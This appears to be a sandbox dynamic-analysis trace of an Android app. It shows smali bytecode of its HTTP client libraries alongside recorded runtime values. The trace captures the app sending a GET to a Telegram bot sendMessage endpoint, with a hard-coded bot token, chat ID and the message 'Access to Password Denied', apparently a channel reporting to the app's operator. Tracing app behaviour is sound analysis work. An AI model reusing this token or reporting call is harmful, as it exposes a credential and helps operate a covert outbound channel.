        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301663
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute@930c775
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute
            • getName: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9new-instance v0, Ljava/util/HashSet;
        11invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
        12iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;->leasedConnections:Ljava/util/Set;
        13new-instance v0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;
        15invoke-direct {v0}, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;-><init>()V
        16iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;->idleConnHandler:Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;
        17new-instance v0, Ljava/util/concurrent/locks/ReentrantLock;
        19invoke-direct {v0}, Ljava/util/concurrent/locks/ReentrantLock;-><init>()V
        20iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;->poolLock:Ljava/util/concurrent/locks/Lock;
        21return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicListHeaderIterator.hasNext
        • cz.msebera.android.httpclient.message.BufferedHeader.getValue
        Strings
        • keep-alive
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ParseException;
        3}
        4.end annotation
        5const/4 v0, -0x1
        6if-gez p1, :cond_1a
        8iget-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->headerIt:Lcz/msebera/android/httpclient/HeaderIterator;
        10invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1304642
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@dfe532c
          • Return:
            • true
        11move-result p1
        12if-nez p1, :cond_c
        13return v0
        14cond_c:
        15iget-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->headerIt:Lcz/msebera/android/httpclient/HeaderIterator;
        17invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderIterator;->nextHeader()Lcz/msebera/android/httpclient/Header;
        18move-result-object p1
        20invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        • Time: 1304667
          • This:
            • Connection: keep-alive
          • Return:
            • keep-alive
        21move-result-object p1
        22iput-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        23const/4 p1, 0x0
        24goto/16 :goto_1e
        25cond_1a:
        26invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->findTokenSeparator(I)I
        27move-result p1
        28goto_1e:
        29invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->findTokenStart(I)I
        30move-result p1
        31if-gez p1, :cond_28
        32const/4 p1, 0x0
        33iput-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentToken:Ljava/lang/String;
        34return v0
        35cond_28:
        36invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->findTokenEnd(I)I
        37move-result v0
        39iget-object v1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        41invoke-virtual {p0, v1, p1, v0}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->createToken(Ljava/lang/String;II)Ljava/lang/String;
        42move-result-object p1
        43iput-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentToken:Ljava/lang/String;
        44return v0
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.getClass
        Strings
        • Connection operator
        • Connections per route
        Position Instruction Meta Information
        1invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301668
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute@930c775
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute
            • getName: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        10const-string v0, "Connection operator"
        12invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14const-string v0, "Connections per route"
        16invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        18iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;->poolLock:Ljava/util/concurrent/locks/Lock;
        19iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        21iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;->leasedConnections:Ljava/util/Set;
        22iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->leasedConnections:Ljava/util/Set;
        23iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->operator:Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        24iput-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->connPerRoute:Lcz/msebera/android/httpclient/conn/params/ConnPerRoute;
        25iput p3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->maxTotalConnections:I
        27invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->createFreeConnQueue()Ljava/util/Queue;
        28move-result-object p1
        29iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        31invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->createWaitingThreadQueue()Ljava/util/Queue;
        32move-result-object p1
        33iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        35invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->createRouteToPoolMap()Ljava/util/Map;
        36move-result-object p1
        37iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->routeToPool:Ljava/util/Map;
        38iput-wide p4, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->connTTL:J
        39iput-object p6, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->connTTLTimeUnit:Ljava/util/concurrent/TimeUnit;
        40return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager.getClass
        Strings
        • Scheme registry
        Position Instruction Meta Information
        0.annotation runtime Ljava/lang/Deprecated;
        1.end annotation
        3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        5const-string v0, "Scheme registry"
        7invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        8new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        10invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301656
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager@5ac58b9
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager
            • getName: cz.msebera.android.httpclient.impl.conn.tsccm.ThreadSafeClientConnManager
        11move-result-object v1
        13invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        14iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        15iput-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->schemeRegistry:Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        16new-instance v0, Lcz/msebera/android/httpclient/conn/params/ConnPerRouteBean;
        18invoke-direct {v0}, Lcz/msebera/android/httpclient/conn/params/ConnPerRouteBean;-><init>()V
        19iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->connPerRoute:Lcz/msebera/android/httpclient/conn/params/ConnPerRouteBean;
        21invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->createConnectionOperator(Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;)Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        22move-result-object p2
        23iput-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->connOperator:Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        25invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->createConnectionPool(Lcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;
        26move-result-object p1
        27check-cast p1, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;
        28iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->pool:Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;
        30iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->pool:Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;
        31iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->connectionPool:Lcz/msebera/android/httpclient/impl/conn/tsccm/AbstractConnPool;
        32return-void
        Cross References
        APIs
        • java.net.Socket.getReceiveBufferSize
        • com.android.org.conscrypt.OpenSSLSocketImpl.getInputStream
        Strings
        • Socket
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionInputBuffer;-><init>()V
        8const-string v0, "Socket"
        10invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11iput-object p1, p0, Lcz/msebera/android/httpclient/impl/io/SocketInputBuffer;->socket:Ljava/net/Socket;
        12const/4 v0, 0x0
        13iput-boolean v0, p0, Lcz/msebera/android/httpclient/impl/io/SocketInputBuffer;->eof:Z
        14if-gez p2, :cond_13
        16invoke-virtual {p1}, Ljava/net/Socket;->getReceiveBufferSize()I
        17move-result p2
        18cond_13: const/16 v0, 0x400
        19if-ge p2, v0, :cond_19
        20const/16 p2, 0x400
        21cond_19:
        22invoke-virtual {p1}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
        • Time: 1302918
          • This:
            • Socket[address=api.telegram.org/149.154.167.220,port=443,localPort=35794]
          • Return:
            • com.android.org.conscrypt.OpenSSLSocketImpl$SSLInputStream@6c5bcda
        23move-result-object p1
        25invoke-virtual {p0, p1, p2, p3}, Lcz/msebera/android/httpclient/impl/io/SocketInputBuffer;->init(Ljava/io/InputStream;ILcz/msebera/android/httpclient/params/HttpParams;)V
        26return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.getClass
        Strings
        • Scheme registry
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301659
          • This:
            • cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator@bfdc45f
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator
            • getName: cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        10const-string v0, "Scheme registry"
        12invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->schemeRegistry:Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        14new-instance p1, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultDnsResolver;
        16invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultDnsResolver;-><init>()V
        17iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnectionOperator;->dnsResolver:Lcz/msebera/android/httpclient/conn/DnsResolver;
        18return-void
        Cross References
        APIs
        • com.loopj.android.http.HttpGet.com.loopj.android.http.HttpGet
        Strings
        • https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@c1438e0
        Position Instruction Meta Information
        1iget-object v1, p0, Lcom/loopj/android/http/AsyncHttpClient;->httpClient:Lcz/msebera/android/httpclient/impl/client/DefaultHttpClient;
        3iget-object v2, p0, Lcom/loopj/android/http/AsyncHttpClient;->httpContext:Lcz/msebera/android/httpclient/protocol/HttpContext;
        4new-instance v3, Lcom/loopj/android/http/HttpGet;
        5iget-boolean v0, p0, Lcom/loopj/android/http/AsyncHttpClient;->isUrlEncodingEnabled:Z
        7invoke-static {v0, p2, p3}, Lcom/loopj/android/http/AsyncHttpClient;->getUrlWithQueryString(ZLjava/lang/String;Lcom/loopj/android/http/RequestParams;)Ljava/lang/String;
        8move-result-object p2
        10invoke-direct {v3, p2}, Lcom/loopj/android/http/HttpGet;-><init>(Ljava/lang/String;)V
        • Time: 1301696
          • This:
            • GET https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • Return:
            • java.lang.String@c1438e0
        • Time: 1301695
          • p0: https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
          • Return:
            • GET https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        11const/4 v4, 0x0
        12move-object v0, p0
        13move-object v5, p4
        14move-object v6, p1
        16invoke-virtual/range {v0 .. v6}, Lcom/loopj/android/http/AsyncHttpClient;->sendRequest(Lcz/msebera/android/httpclient/impl/client/DefaultHttpClient;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;Ljava/lang/String;Lcom/loopj/android/http/ResponseHandlerInterface;Landroid/content/Context;)Lcom/loopj/android/http/RequestHandle;
        17move-result-object p1
        18return-object p1
        APIs
        • java.lang.String.<init>
        Strings
        • 243
        • keep-alive
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/message/BufferedHeader;->buffer:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        2iget v1, p0, Lcz/msebera/android/httpclient/message/BufferedHeader;->valuePos:I
        4iget-object v2, p0, Lcz/msebera/android/httpclient/message/BufferedHeader;->buffer:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        6invoke-virtual {v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        7move-result v2
        9invoke-virtual {v0, v1, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        • Time: 1304369
          • This:
            • 243
          • p0: [C@faed44b
          • p0: Content-Length: 243
          • p1: 16
          • p2: java.lang.Integer@a01df76
          • Return:
            • 243
        • Time: 1304664
          • This:
            • keep-alive
          • p0: [C@a2654e6
          • p0: Connection: keep-alive
          • p1: 12
          • p2: 10
          • Return:
            • keep-alive
        10move-result-object v0
        11return-object v0
        Cross References
        APIs
        • java.security.cert.X509Certificate.getSubjectX500Principal
        • javax.security.auth.x500.X500Principal.toString
        Strings
        • CN=api.telegram.org, OU=Domain Control Validated
        Position Instruction Meta Information
        1invoke-virtual {p0}, Ljava/security/cert/X509Certificate;->getSubjectX500Principal()Ljavax/security/auth/x500/X500Principal;
        2move-result-object p0
        4invoke-virtual {p0}, Ljavax/security/auth/x500/X500Principal;->toString()Ljava/lang/String;
        • Time: 1302912
          • This:
            • CN=api.telegram.org, OU=Domain Control Validated
          • Return:
            • CN=api.telegram.org, OU=Domain Control Validated
        5move-result-object p0
        6try_start_8:
        7invoke-static {p0}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->extractCNs(Ljava/lang/String;)[Ljava/lang/String;
        8move-result-object p0
        9try_end_c: return-object p0
        10catch_d: const/4 p0, 0x0
        11return-object p0
        Cross References
        APIs
        • cz.msebera.android.httpclient.client.utils.URIBuilder.buildString
        • java.net.URI.<init>
        Strings
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/net/URISyntaxException;
        3}
        4.end annotation
        5new-instance v0, Ljava/net/URI;
        7invoke-direct {p0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->buildString()Ljava/lang/String;
        • Time: 1303125
          • This:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        8move-result-object v1
        10invoke-direct {v0, v1}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        11return-object v0
        Cross References
        APIs
        • java.lang.String.<init>
        Strings
        • 556050782
        • Access%20to%20Password%20Denied
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/String;
        2iget-object v1, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer:[C
        3sub-int/2addr p2, p1
        5invoke-direct {v0, v1, p1, p2}, Ljava/lang/String;-><init>([CII)V
        • Time: 1303093
          • This:
            • 556050782
          • p0: [C@85cca7e
          • p0: chat_id=556050782&text=Access%20to%20Password%20Denied
          • p1: 8
          • p2: 9
          • Return:
            • 556050782
        • Time: 1303104
          • This:
            • Access%20to%20Password%20Denied
          • p0: [C@85cca7e
          • p0: chat_id=556050782&text=Access%20to%20Password%20Denied
          • p1: 23
          • p2: 31
          • Return:
            • Access%20to%20Password%20Denied
        6return-object v0
        APIs
        • java.lang.Math.min
        • cz.msebera.android.httpclient.util.ByteArrayBuffer.isFull
        • java.nio.CharBuffer.wrap
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5if-nez p1, :cond_3
        6return-void
        7cond_3: iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->ascii:Z
        8const/4 v1, 0x0
        9if-eqz v0, :cond_34
        11invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        12move-result v0
        13goto_c: if-lez v0, :cond_43
        15iget-object v2, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->buffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        17invoke-virtual {v2}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->capacity()I
        18move-result v2
        20iget-object v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->buffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        22invoke-virtual {v3}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->length()I
        23move-result v3
        24sub-int/2addr v2, v3
        26invoke-static {v2, v0}, Ljava/lang/Math;->min(II)I
        27move-result v2
        28if-lez v2, :cond_26
        30iget-object v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->buffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        32invoke-virtual {v3, p1, v1, v2}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->append(Lcz/msebera/android/httpclient/util/CharArrayBuffer;II)V
        33cond_26:
        34iget-object v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->buffer:Lcz/msebera/android/httpclient/util/ByteArrayBuffer;
        36invoke-virtual {v3}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->isFull()Z
        • Time: 1303705
          • This:
            • cz.msebera.android.httpclient.util.ByteArrayBuffer@97c248b
          • Return:
            • false
        37move-result v3
        38if-eqz v3, :cond_31
        40invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->flushBuffer()V
        41cond_31: add-int/2addr v1, v2
        42sub-int/2addr v0, v2
        43goto/16 :goto_c
        44cond_34:
        45invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer()[C
        46move-result-object v0
        48invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        49move-result p1
        51invoke-static {v0, v1, p1}, Ljava/nio/CharBuffer;->wrap([CII)Ljava/nio/CharBuffer;
        52move-result-object p1
        54invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->writeEncoded(Ljava/nio/CharBuffer;)V
        55cond_43:
        56sget-object p1, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->CRLF:[B
        58invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/io/AbstractSessionOutputBuffer;->write([B)V
        59return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler.getClass
        • java.util.HashMap.<init>
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301665
          • This:
            • cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler@2e4477b
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler
            • getName: cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9new-instance v0, Ljava/util/HashMap;
        11invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
        12iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->connectionToTimes:Ljava/util/Map;
        13return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.Object.toString
        • android.util.Log.d
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1303402
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@e373397
          • Return:
            • false
        2move-result v0
        3if-eqz v0, :cond_f
        5iget-object v0, p0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->logTag:Ljava/lang/String;
        7invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        8move-result-object p1
        10invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
        11cond_f: return-void
        APIs
        • cz.msebera.android.httpclient.message.BasicListHeaderIterator.hasNext
        Strings
        • HTTP message
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(TT;)V"
        3}
        4.end annotation
        5.annotation system Ldalvik/annotation/Throws;
        6value = {
        7Ljava/io/IOException;,
        8Lcz/msebera/android/httpclient/HttpException;
        9}
        10.end annotation
        12const-string v0, "HTTP message"
        14invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        16invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->writeHeadLine(Lcz/msebera/android/httpclient/HttpMessage;)V
        18invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpMessage;->headerIterator()Lcz/msebera/android/httpclient/HeaderIterator;
        19move-result-object p1
        20goto_c:
        21invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1303707
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@b801968
          • Return:
            • true
        • Time: 1303807
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@b801968
          • Return:
            • false
        22move-result v0
        23if-eqz v0, :cond_24
        25invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderIterator;->nextHeader()Lcz/msebera/android/httpclient/Header;
        26move-result-object v0
        28iget-object v1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->sessionBuffer:Lcz/msebera/android/httpclient/io/SessionOutputBuffer;
        30iget-object v2, p0, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->lineFormatter:Lcz/msebera/android/httpclient/message/LineFormatter;
        32iget-object v3, p0, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->lineBuf:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        34invoke-interface {v2, v3, v0}, Lcz/msebera/android/httpclient/message/LineFormatter;->formatHeader(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/Header;)Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        35move-result-object v0
        37invoke-interface {v1, v0}, Lcz/msebera/android/httpclient/io/SessionOutputBuffer;->writeLine(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        38goto/16 :goto_c
        39cond_24:
        40iget-object p1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->lineBuf:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        42invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->clear()V
        44iget-object p1, p0, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->sessionBuffer:Lcz/msebera/android/httpclient/io/SessionOutputBuffer;
        46iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/AbstractMessageWriter;->lineBuf:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        48invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/io/SessionOutputBuffer;->writeLine(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        49return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser.getClass
        Strings
        • Response factory
        Position Instruction Meta Information
        0.annotation runtime Ljava/lang/Deprecated;
        1.end annotation
        3invoke-direct {p0, p1, p2, p4}, Lcz/msebera/android/httpclient/impl/io/AbstractMessageParser;-><init>(Lcz/msebera/android/httpclient/io/SessionInputBuffer;Lcz/msebera/android/httpclient/message/LineParser;Lcz/msebera/android/httpclient/params/HttpParams;)V
        4new-instance p1, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        6invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1302993
          • This:
            • cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser@485afe8
          • Return:
            • class cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser
